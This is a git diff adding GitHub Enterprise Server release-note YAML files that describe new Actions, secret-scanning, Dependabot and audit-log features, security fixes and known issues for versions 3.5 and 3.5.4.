+          You can now analyze how your team works, understand the value you get from GitHub Enterprise Server, and help us improve our products by reviewing your instance's usage data and sharing this aggregate data with GitHub. You can use your own tools to analyze your usage over time by downloading your data in a CSV or JSON file or by accessing it using the REST API. To see the list of aggregate metrics collected, see "[About Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected)." Server Statistics data includes no personal data nor GitHub content, such as code, issues, comments, or pull requests content.  For a better understanding of how we store and secure Server Statistics data, see "[GitHub Security](https://github.com/security)."  For more information about Server Statistics, see "[Analyzing how your team works with Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics)." This feature is available in public beta.
+
+    - heading: GitHub Actions rate limiting is now configurable
+      notes:
+        # https://github.com/github/releases/issues/2123
+        - |
+          Site administrators can now enable and configure a rate limit for GitHub Actions. By default, the rate limit is disabled. When workflow jobs cannot immediately be assigned to an available runner, they will wait in a queue until a runner is available. However, if GitHub Actions experiences a sustained high load, the queue can back up faster than it can drain and the performance of the GitHub Enterprise Server instance may degrade. To avoid this, an administrator can configure a rate limit. When the rate limit is exceeded, additional workflow runs will fail immediately rather than being put in the queue. Once the rate has stabilized below the threshold, new runs can be queued again. For more information, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions)."
+
+    - heading: OpenID Connect (OIDC) for secure deployments with GitHub Actions
+      notes:
+        # https://github.com/github/releases/issues/2066
+        - |
+          GitHub Actions on GitHub Enterprise Server now supports OIDC for secure deployments to cloud providers, which uses short-lived tokens that are automatically rotated for each deployment. OIDC enables the following functionality.
+
+          - Seamless authentication between cloud providers and GitHub Enterprise Server without the need for storing any long-lived cloud secrets on your instance
+          - Cloud administrators can rely on the security mechanisms of a particular cloud provider to ensure that GitHub Actions workflows have minimal access to cloud resources. There is no duplication of secret management between GitHub Enterprise Server and the cloud.
+          
+          For more information, see "[Security hardening your deployments](/actions/deployment/security-hardening-your-deployments)."
+
+    - heading: Sharing GitHub Actions within your enterprise is generally available
+      notes:
+        # https://github.com/github/releases/issues/2085
+        - |
+          Support for GitHub Actions in internal repositories is now generally available for organizations on your GitHub Enterprise Server instance. You can innersource automation by sharing actions in internal repositories. You can manage a repository's settings or use the REST API to allow access to workflows in other repositories within the organization or in any organization on the instance. For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)," "[Managing GitHub Actions settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)," and "[Actions Permissions](/rest/actions/permissions#get-the-level-of-access-for-workflows-outside-of-the-repository)" in the REST API documentation.
+    
+    - heading: Cache support for GitHub Actions on GitHub Enterprise Server is now generally available
+      notes:
+        # https://github.com/github/releases/issues/2110
+        - |
+          You can now use dependency caching to speed up your GitHub Actions workflows. To cache dependencies for a job, you can include the [actions/cache](https://github.com/actions/cache) action to create a cache with a unique key. You can share caches across all workflows in the same repository. These workflows can then restore the cache and run faster.
+
+          Actions users can also use our cache APIs to:
+
+          - Define the enterprise policy for cache size range allowed per repository.
+          - Query the cache usage within each repository and monitor if the total size of all caches is reaching the upper limit.
+          - Increase the maximum cache size for a repository within the allowed enterprise limits, based on the cache requirements of the repository.
+          - Monitor aggregate cache usage at organization level or at enterprise level.
+
+          The external blob storage that is configured within your enterprise account will now be shared across workflow artifacts, logs, and also the caches. For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)."
+
+
+    - heading: Automatically sign commits made in the web UI
+      notes:
+        # https://github.com/github/releases/issues/1963
+        - |
+          You can now configure GitHub Enterprise Server to automatically sign commits made in the web interface, such as from editing a file or merging a pull request. Signed commits increase confidence that changes come from trusted sources. This feature allows the [Require signed commits](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-signed-commits) branch protection setting to block unsigned commits from entering a repository, while allowing entry of signed commits – even those made in the web interface. For more information, see "[Configuring web commit signing](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing)."
+
+    - heading: Sync license usage any time
+      notes:
+        # https://github.com/github/releases/issues/2201
+        - |
+          For customers that sync license usage between GitHub Enterprise Server and GitHub Enterprise Cloud automatically using GitHub Connect, you now have the ability to sync your license usage independently of the automatic weekly sync. This feature also reports the status of sync job. For more information, see "[Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#manually-syncing-license-usage)."
+
+    - heading: Reusable workflows for GitHub Actions are generally available
+      notes:
+        # https://github.com/github/releases/issues/1767
+        # https://github.com/github/releases/issues/1950
+        # https://github.com/github/releases/issues/2114
+          - |
+            Reusable workflows are now generally available. Reusable workflows help you reduce duplication by enabling you to reuse an entire workflow as if it were an action. With the general availability release, a number of improvements are now available for GitHub Enterprise Server. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)."
+            
+            - You can utilize outputs to pass data from reusable workflows to other jobs in the caller workflow.
+            - You can pass environment secrets to reusable workflows.
+            - The audit log includes information about which reusable workflows are used.
+            - Reusable workflows in the same repository as the calling repository can be referenced with just the path and filename (`PATH/FILENAME`). The called workflow will be from the same commit as the caller workflow.
+          
+    - heading: Self-hosted runners for GitHub Actions can now disable automatic updates
+      notes:
+        # https://github.com/github/releases/issues/2014
+        - |
+          You now have more control over when your self-hosted runners perform software updates. If you specify the `--disableupdate` flag to the runner then it will not try to perform an automatic software update if a newer version of the runner is available. This allows you to update the self-hosted runner on your own schedule, and is especially convenient if your self-hosted runner is in a container.
+
+           For compatibility with the GitHub Actions service, you will need to manually update your runner within 30 days of a new runner version being available.  For instructions on how to install the latest runner version, please see the installation instructions for [the latest release in the runner repo](https://github.com/actions/runner/releases).
+
+    - heading: Secure self-hosted runners for GitHub Actions by limiting workflows
+      notes:
+        # https://github.com/github/releases/issues/2013
+        - |
+          Organization owners can now increase the security of CI/CD workflows on self-hosted runners by choosing which workflows can access a runner group. Previously, any workflow in a repository, such as an issue labeler, could access the self-hosted runners available to an organization. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-what-workflows-can-access-a-runner-group)" and the [GitHub Blog](https://github.blog/2022-03-23-github-actions-secure-self-hosted-runners-specific-workflows/).
+
+    - heading: Prevent GitHub Actions from approving pull requests
+      notes:
+        # https://github.com/github/releases/issues/1959
+        - |
+          You can now control whether GitHub Actions can approve pull requests. This feature protects against a user using GitHub Actions to satisfy the "Required approvals" branch protection requirement and merging a change that was not reviewed by another user. To prevent breaking existing workflows, **Allow GitHub Actions reviews to count towards required approval** is enabled by default. Organization owners can disable the feature in the organization's GitHub Actions settings. For more information, see "[Disabling or limiting GitHub Actions for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-approving-pull-requests)."
+
+    - heading: Re-run failed or individual GitHub Actions jobs
+      notes:
+        # https://github.com/github/releases/issues/1503
+        - |
+          You can now re-run only failed jobs or an individual job in a GitHub Actions workflow run. For more information, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+
+    - heading: Dependency graph supports GitHub Actions
+      notes:
+        # https://github.com/github/releases/issues/1913
+        - |
+          The dependency graph now detects YAML files for GitHub Actions workflows. GitHub Enterprise Server will display the workflow files within the **Insights** tab's dependency graph section. Repositories that publish actions will also be able to see the number of repositories that depend on that action from the "Used By" control on the repository homepage. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)."
+
+    - heading: Security overview for enterprises in public beta
+      notes:
+        # https://github.com/github/releases/issues/2040
+        - |
+          GitHub Advanced Security customers can now view an overview of security alerts at the enterprise level. The new **Security** tab at the enterprise level provides a repository-centric view of application security risks, as well as an alert-centric view of all secret scanning alerts. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+
+    - heading: Security view for organizations is generally available
+      notes:
+        # https://github.com/github/releases/issues/2096
+        - |
+          The overview of security alerts at the organization level is now generally available. GitHub Advanced Security customers can use the security overview to view a repository-centric view of application security risks, or an alert-centric view of all code scanning, Dependabot, and secret scanning alerts for all repositories in an organization. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+
+    - heading: Code scanning detects more security issues, supports new language versions
+      notes:
+        # https://github.com/github/releases/issues/2097
+        - |
+          Code scanning now detects a larger number of CWEs, and CodeQL code scanning fully supports the standard language features in the following language releases.
+
+          - C# 10 / .NET 6
+          - Python 3.10
+          - Java 17
+          - TypeScript 4.5
+
+          For more information, see the [GitHub Blog](https://github.blog/changelog/2022-02-25-code-scanning-detects-more-security-issues-supports-new-language-versions/).
+
+    - heading: View code scanning alerts across an organization
+      notes:
+        # https://github.com/github/releases/issues/1792
+        - |
+          GitHub Advanced Security customers can now view code scanning alerts in an organization's **Security** tab. This view is available to organization owners and members of teams with the [security manager role](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+
+        # https://github.com/github/releases/issues/1763
+        - |
+          Users can now retrieve code scanning alerts for an organization on your GitHub Enterprise Server instance via the REST API. This new API endpoint supplements the existing [endpoint for repositories](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository). For more information, see [Code Scanning](/rest/code-scanning) in the REST API documentation.
+
+    - heading: Secret scanning available as a push protection
+      notes:
+        # 
+        - |
+          GitHub Enterprise Server can now block any pushes where a token is detected with high confidence. Developers can bypass the block by providing details of why the secret needs to be committed via a web UI. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."
+
+    - heading: Dry runs for custom patterns with secret scanning
+      notes:
+        # https://github.com/github/releases/issues/1703
+        # https://github.com/github/releases/issues/2084
+        - |
+          GitHub Advanced Security customers can now dry run custom secret scanning patterns at the organization or repository level. Dry runs allow people with owner or admin access to review and hone their patterns before publishing them and generating alerts. You can compose a pattern, then use **Save and dry run** to retrieve results. The scans typically take just a few seconds, but GitHub Enterprise Server will also notify organization owners or repository admins via email when dry run results are ready. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)" and "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)."
+
+    - heading: Secret scanning custom pattern events now in the audit log
+      notes:
+        # https://github.com/github/releases/issues/2154
+        - |
+          The audit log now includes events associated with secret scanning custom patterns. This data helps GitHub Advanced Security customers understand actions taken on their [repository](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#repository_secret_scanning_custom_pattern-category-actions)-, [organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#org_secret_scanning_custom_pattern-category-actions)-, or [enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#business_secret_scanning_custom_pattern-category-actions)-level custom patterns for security and compliance audits. For more information, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)" or "[Reviewing audit logs for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)."
+
+    - heading: Configure permissions for secret scanning with custom repository roles
+      notes:
+        # https://github.com/github/releases/issues/1909
+        - |
+          You can now configure two new permissions for secret scanning when managing custom repository roles.
+
+          - View secret scanning results
+          - Dismiss or reopen secret scanning results
+
+          For more information, see  "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+
+    - heading: Secret scanning now supports archived repositories
+      notes:
+        # https://github.com/github/releases/issues/2076
+        - |
+          GitHub Advanced Security customers can now enable secret scanning for archived repositories via the UI and API. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)," "[About archived repositories](/repositories/archiving-a-github-repository/archiving-repositories)," and "[Repositories](/rest/repos/repos#update-a-repository)" in the REST API documentation.
+
+    - heading: Secret scanning webhooks for alert locations
+      notes:
+        # https://github.com/github/releases/issues/2149
+        - |
+          GitHub Advanced Security customers using secret scanning can now opt to receive a webhook each time a secret is detected in a new location. The `secret_scanning_alert_location` webhook event includes location details, like the commit SHA, and the associated alert for the detection. A location is created for every new file path containing the detected secret. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert_location)."
+
+    - heading: View Dependabot alerts across an organization
+      notes:
+        # https://github.com/github/releases/issues/1992
+        - |
+          GitHub Advanced Security customers can now view Dependabot alerts in in an organization's **Security** tab. This view is available to organization owners and members of teams with the [security manager role](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+
+    - heading: Configure permissions for Dependabot alerts with custom repository roles
+      notes:
+        # https://github.com/github/releases/issues/1958
+        - |
+          You can now configure two new permissions for Dependabot alerts when managing custom repository roles.
+          
+          - View Dependabot alerts
+          - Dismiss or reopen Dependabot alerts
+
+          For more information, see  "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+
+    - heading: Reopen dismissed Dependabot alerts
+      notes:
+        # https://github.com/github/releases/issues/1923
+        - |
+          You can now reopen dismissed Dependabot alerts through the UI page for a closed alert. This does not affect Dependabot pull requests or the GraphQL API. For more information, see "[About Dependabot alerts](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)."
+
+    - heading: Pub support for Dependabot version updates is in public beta
+      notes:
+        # https://github.com/github/releases/issues/2086
+        - |
+          Users of Dependabot version updates can now proactively update dependencies for Flutter or Dart projects that use the Pub package manager.  
+
+          To test [version updates](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates) on your own Dart or Flutter repository, add the following configuration file in <code>[.github/dependabot.yaml](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates)</code>. Note the `package-ecosystem: "pub"` and `enable-beta-ecosystems: true` flags.
+          ```yaml
+          version: 2
+          enable-beta-ecosystems: true
+          updates:
+            - package-ecosystem: "pub"
+              directory: "/"
+              schedule:
+                interval: "weekly"
+          ```
+
+    - heading: See pull request associated with a repository's Dependabot alerts via GraphQL API
+      notes:
+        # https://github.com/github/releases/issues/2088
+        - |
+          The new `DependabotUpdate` GraphQL object lets you view information about what happens to your repository's security updates. When GitHub Enterprise Server detects that a dependency in your repository is vulnerable, Dependabot will attempt to open a pull request to update that dependency to a non-vulnerable version. You can now see the pull request that fixes the vulnerability. In some cases, Dependabot fails to open a pull request. Previously, the error message that Dependabot generated was only visible in the "Dependabot Alerts" section of the **Security** tab. Now, if Dependabot runs into an error when trying to open a pull request for a security alert, you can determine the reason using the GraphQL API. For more information, see "[Objects](/graphql/reference/objects#dependabotupdate)" in the GraphQL API documentation.
+
+    - heading: Access more information about Dependabot alerts via GraphQL API
+      notes:
+        # https://github.com/github/releases/issues/1922
+        - |
+          You can now view fixed alerts from Dependabot with the GraphQL API. You can also access and filter by state, as well as by unique numeric identifier, and you can filter by state on the vulnerability alert object. The following fields now exist for a `RepositoryVulnerabilityAlert`.
+
+          - `number`
+          - `fixed_at`
+          - `fix_reason`
+          - `state`
+
+          For more information, see "[Objects](/graphql/reference/objects#repositoryvulnerabilityalert)" in the GraphQL API documentation.
+
+    - heading: Git events in the enterprise audit log
+      notes:
+        # https://github.com/github/releases/issues/2205
+        - |
+          The following Git-related events can now appear in the enterprise audit log. If you enable the feature and set an audit log retention period, the new events will be available for search via the UI and API, or export via JSON or CSV.
+          
+          - `git.clone`
+          - `git.fetch`
+          - `git.push`
+          
+          Due to the large number of Git events logged, we recommend you monitor your instance's file storage and review your related alert configurations. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise#managing-git-events-in-the-audit-log)."
+
+    - heading: Improvements to CODEOWNERS
+      notes:
+        # https://github.com/github/releases/issues/1994
+        - |
+          This release includes improvements to CODEOWNERS.
+          
+          - Syntax errors are now surfaced when viewing a CODEOWNERS file from the web. Previously, when a line in a CODEOWNERS file had a syntax error, the error would be ignored or in some cases cause the entire CODEOWNERS file to not load. GitHub Apps and Actions can access the same list of errors using new REST and GraphQL APIs. For more information, see "[Repositories](/rest/repos/repos#list-codeowners-errors)" in the REST API documentation or "[Objects](/graphql/reference/objects#repositorycodeowners)" in the GraphQL API documentation.
+          - After someone creates a new pull request or pushes new changes to a draft pull request, any code owners that will be requested for review are now listed in the pull request under "Reviewers". This feature gives you an early look at who will be requested to review once the pull request is marked ready for review.
+          - Comments in CODEOWNERS files can now appear at the end of a line, not just on dedicated lines.
+          
+          For more information, see "[About code owners](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)."
+
+    - heading: More ways to keep a pull request's topic branch up to date
+      notes:
+        # https://github.com/github/releases/issues/1566
+        - |
+          The **Update branch** button on the pull request page lets you update your pull request's branch with the latest changes from the base branch. This is useful for verifying your changes are compatible with the current version of the base branch before you merge. Two enhancements now give you more ways to keep your branch up-to-date.
+
+          - When your pull request's topic branch is out of date with the base branch, you now have the option to update it by rebasing on the latest version of the base branch. Rebasing applies the changes from your branch onto the latest version of the base branch, resulting in a branch with a linear history since no merge commit is created. To update by rebasing, click the drop down menu next to the **Update Branch** button, click **Update with rebase**, and then click **Rebase branch**. Previously, **Update branch** performed a traditional merge that always resulted in a merge commit in your pull request branch. This option is still available, but now you have the choice. For more information, see "[Keeping your pull request in sync with the base branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch)."
+
+          - A new repository setting allows the **Update branch** button to always be available when a pull request's topic branch is not up to date with the base branch. Previously, this button was only available when the **Require branches to be up to date before merging** branch protection setting was enabled. People with admin or maintainer access can manage the **Always suggest updating pull request branches** setting from the **Pull Requests** section in repository settings. For more information, see "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches)."
+
+    - heading: Configure custom HTTP headers for GitHub Pages sites
+      notes: 
+        # https://github.com/github/releases/issues/2124
+        - |
+          You can now configure custom HTTP headers that apply to all GitHub Pages sites served from your GitHub Enterprise Server instance. For more information, see "[Configuring GitHub Pages for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise#configuring-github-pages-response-headers-for-your-enterprise)."
+
+    - heading: Ignore commits in blame view
+      notes:
+        # https://github.com/github/releases/issues/2090
+        - |
+          It's now possible to ignore revisions in the blame view by creating a _.git-blame-ignore-revs_ file in the root of your repository. For more information, see "[Viewing a file](/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view)."
+
+    - heading: Light high contrast theme is generally available
+      notes:
+        # https://github.com/github/releases/issues/2011
+        - |
+          A light high contrast theme, with greater contrast between foreground and background elements, is now generally available. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)."
+
+    - heading: Tag protection rules
+      notes:
+        # https://github.com/github/releases/issues/1793
+        - |
+          Repository owners can now configure tag protection rules to protect a repository's tags. Once protected by a tag protection rule, tags matching a specified name pattern can only be created and deleted by users with the Maintain or Admin role in the repository. For more information, see "[Configuring tag protection rules](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules)."
+
+  bugs:
+    # https://github.com/github/releases/issues/1934
+    - |
+      It is now possible for GitHub Apps to upload release assets.
+
+  changes:
+    # https://github.com/github/releases/issues/2063
+    - |
+      To use the device authorization flow for OAuth and GitHub Apps, you must manually enable the feature. This change reduces the likelihood of apps being used in phishing attacks against GitHub Enterprise Server users by ensuring integrators are aware of the risks and make a conscious choice to support this form of authentication. If you own or manage an OAuth App or GitHub App and you want to use the device flow, you can enable it for your app via the app's settings page. The device flow API endpoints will respond with status code `400` to apps that have not enabled this feature. For more information, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)."
+
+    # https://github.com/github/releases/issues/2049
+    - |
+      The code scanning alert page now always shows the alert status and information for the default branch. There is a new "Affected branches" panel in the sidebar where you can see the status of the alert in other branches. If the alert does not exist in your default branch, the alert page will show the status as "In branch" or "In pull request" for the location where the alert was last seen. This improvement makes it easier to understand the status of alerts which have been introduced into your code base. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)."
+
+      The alert list page is not changed and can be filtered by `branch`. You can use the code scanning API to retrieve more detailed branch information for alerts. For more information, see "[Code Scanning](/rest/code-scanning)" in the REST API documentation.
+
+    # https://github.com/github/releases/issues/2050
+    - |
+      Code scanning now shows the details of the analysis origin of an alert. If an alert has more than one analysis origin, it is shown in the "Affected branches" sidebar and in the alert timeline. You can hover over the analysis origin icon in the "Affected branches" sidebar to see the alert status in each analysis origin. If an alert only has a single analysis origin, no information about analysis origins is displayed on the alert page. These improvements will make it easier to understand your alerts. In particular, it will help you understand those that have multiple analysis origins. This is especially useful for setups with multiple analysis configurations, such as monorepos. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins)."
+
+    # https://github.com/github/releases/issues/2071
+    - |
+      Lists of repositories owned by a user or organization now have an additional filter option, "Templates", making it easier to find template repositories.
+
+    # https://github.com/github/releases/issues/1947
+    - |
+      GitHub Enterprise Server can display several common image formats, including PNG, JPG, GIF, PSD, and SVG, and provides several ways to compare differences between versions. Now when reviewing added or changed images in a pull request, previews of those images are shown by default. Previously, you would see a message indicating that binary files could not be shown and you would need to toggle the "Display rich diff" option. For more information, see  "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files)."
+
+    # https://github.com/github/releases/issues/2054
+    - |
+      New gists are now created with a default branch name of either `main` or the alternative default branch name defined in your user settings. This matches how other repositories are created on GitHub Enterprise Server. For more information, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch)" and "[Managing the default branch name for your repositories](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories)."
+
+    # https://github.com/github/releases/issues/2028
+    - |
+      Gists now only show the 30 most recent comments when first displayed. You can click **Load earlier comments...** to view more. This allows gists that have many comments to appear more quickly. For more information, see "[Editing and sharing content with gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists)."
+
+    # https://github.com/github/releases/issues/2036
+    - |
+      Settings pages for users, organizations, repositories, and teams have been redesigned, grouping similar settings pages into sections for improved information architecture and discoverability. For more information, see the [GitHub changelog](https://github.blog/changelog/2022-02-02-redesign-of-githubs-settings-pages/). 
+
+    # https://github.com/github/releases/issues/2129
+    - |
+        Focusing or hovering over a label now displays the label description in a tooltip.
+
+    # https://github.com/github/releases/issues/1983
+    - |
+        Creating and removing repository invitations, whether done through the API or web interface, are now subject to rate limits that may be enabled on your GitHub Enterprise Server instance. For more information about rate limits, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits)."
+
+    # https://github.com/github/releases/issues/2291
+    - |
+        MinIO has announced the removal of the MinIO Gateways starting June 1st, 2022. While MinIO Gateway for NAS continues to be one of the supported storage providers for Github Actions and Github Packages, we recommend moving to MinIO LTS support to avail support and bug fixes from MinIO. For more information about rate limits, see "[Scheduled removal of MinIO Gateway for GCS, Azure, HDFS in the minio/minio repository](https://github.com/minio/minio/issues/14331)."
+
+
+  deprecations:
+    - heading: Change to the format of authentication tokens
+      notes:
+        # https://github.com/github/releases/issues/1235
+        - |
+          GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. For more information, see the [GitHub changelog](https://github.blog/changelog/2021-03-31-authentication-token-format-updates-are-generally-available/).
+
+    - heading: CodeQL runner deprecated in favor of CodeQL CLI
+      notes:
+        # https://github.com/github/releases/issues/1632
+        - |
+          The CodeQL runner is deprecated in favor of the CodeQL CLI. GitHub Enterprise Server 3.4 and later no longer include the CodeQL runner. This deprecation only affects users who use CodeQL code scanning in 3rd party CI/CD systems. GitHub Actions users are not affected. GitHub strongly recommends that customers migrate to the CodeQL CLI, which is a feature-complete replacement for the CodeQL runner and has many additional features. For more information, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)."
+    
+    - heading: Theme picker for GitHub Pages has been removed
+      notes:
+        - |
+          The theme picker for GitHub Pages has been removed from the Pages settings. For more information about configuration of themes for GitHub Pages, see "[Adding a theme to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+        
+  known_issues:
+      - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+      - Custom firewall rules are removed during the upgrade process.
+      - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+      - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+      - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results.
+      - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+      - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+      - Actions services need to be restarted after restoring an appliance from a backup taken on a different host.
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-5/4.yml b/translations/de-DE/data/release-notes/enterprise-server/3-5/4.yml
new file mode 100644
index 0000000000..b5a846e1c3
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-5/4.yml
@@ -0,0 +1,30 @@
+date: '2022-08-11'
+sections:
+  security_fixes:
+    - |
+      **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf).
+    - |
+      **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com).
+  bugs:
+    - In some cases, GitHub Enterprise Server instances on AWS that used the `r4.4xlarge` instance type would fail to boot.
+    - In some cases, UI elements within a pull request's **Files changed** tab could overlap. 
+    - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)."
+    - When calculating committers for GitHub Advanced Security, it was not possible to specify individual repositories. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)."
+    - In some cases, Elasticsearch's post-upgrade `es:upgrade` process could crash before completion.
+    - The script for migration to internal repositories failed to convert the visibility for public repositories to internal or private. For more information about the migration, see "[Migrating to internal repositories](/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories)."
+    - Detection of GitHub Actions workflow files for the dependency graph was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#supported-package-ecosystems)."
+    - The ability to reopen dismissed Dependabot alerts was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[Viewing and updating Dependabot alerts](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-and-updating-closed-alerts)."
+    - The ability to always suggest updates from the base branch to a pull request's HEAD was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches)."
+    - The light high contrast theme was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings)."
+  changes:
+    - '`pre_receive_hook.rejected_push` events were not displayed in the enterprise audit log.'
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results.
